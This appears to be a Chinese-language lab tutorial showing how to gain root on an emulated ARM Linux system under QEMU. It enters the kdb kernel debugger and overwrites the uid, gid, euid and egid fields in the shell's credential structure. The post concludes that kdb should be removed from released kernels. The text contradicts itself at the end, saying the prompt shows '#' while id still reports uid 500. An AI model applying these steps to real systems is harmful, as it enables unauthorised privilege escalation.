linux系统通过内核调试器kdb获取root权限
linux系统通过内核调试器kdb获取root权限
0x1 原理
??kdb模式下是可以随意修改内存的,一旦在非root账户下被触发进入,可以通过mm命令修改登陆shell的uid为0,从而获取root权限
0x2 非root权限账户自动登录
??inittab中添加
??null::respawn:/sbin/getty -L ttyAMA0 115200 vt100
??/etc/passwd添加
??marquis::500:500:Linux User,,,:/home:/bin/sh
??/etc/group添加
??marquis::500:
0x3 qemu参数
??qemu-system-arm \
????-M vexpress-a9 \
????-kernel ~/src/linux/kernel/vexpress-a9-linux-4.10.9/arch/arm/boot/zImage \
????-dtb ~/src/linux/kernel/vexpress-a9-linux-4.10.9/arch/arm/boot/dts/vexpress-v2p-ca9.dtb \
????-sd ~/src/qemu/image/rootfs.ext4 \
????-nographic -append “root=/dev/mmcblk0 rw rootfstype=ext4 rootwait init=/linuxrc console=ttyAMA0 kgdboc=ttyAMA0,115200”
0x4 qemu中触发kdb
??输入ctrl+a b
??send break 触发magic sysrq
??输入g
??发送magic sysrq g命令进入kgdb
0x5 修改uid
??使用id命令查看当前用户id信息
图5-1
??执行命令ps
??kdb中ps命令列出包括shell进程在内的所有进程的struct task_struct结构的虚拟起始地址,下图是shell task_struct的相关信息:
图5-2
??查看task_struct中real_cred地址
??offsetof宏获取real_cred在task_struct中的偏移量,offsetof定义在stddef.h中
??offsetof(struct task_struct, real_cred) == 0x36c, 这个值并不是固定的,与内核配置有关
??md ADDR of shell task_struct+0x36c
图5-3
??real_cred中uid gid euid guid是要修改的内容,每个成员都是4字节32bit的形式存在的
清单. cred结构体
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
};
??查看 real_cred成员的内容
??md ADDR of real_cred
图5-4
??修改uid gid euid egid
??mm ADDR of real_cred+0x4 0
??mm ADDR of real_cred+0x8 0
??mm ADDR of real_cred+0x14 0
??mm ADDR of real_cred+0x18 0
图5-5
??执行命令go
??这时候shell提示符已经由’$’变成’#’
??执行id命令查看登录shell的uid与gid都是500
图5-6
0x6 版本信息
??主机系统:ubuntu 14.04
??linux版本号: 4.10.9
??交叉编译工具版本:
??arm-none-linux-gnueabi-gcc (Sourcery CodeBench Lite 2014.05-29) 4.8.3
??qemu版本:QEMU emulator version 2.7.1
??模拟开发板:arm vexpress a9
0x7总结
??kdb是不安全的,任何发行的二进制内核文件,都应该清除kdb
参考资料
??https://www.kernel.org/pub/linux/kernel/people/jwessel/dbg_webinar/State_Of_kernel_debugging_LinuxCon2014.pdf
linux系统通过内核调试器kdb获取root权限相关教程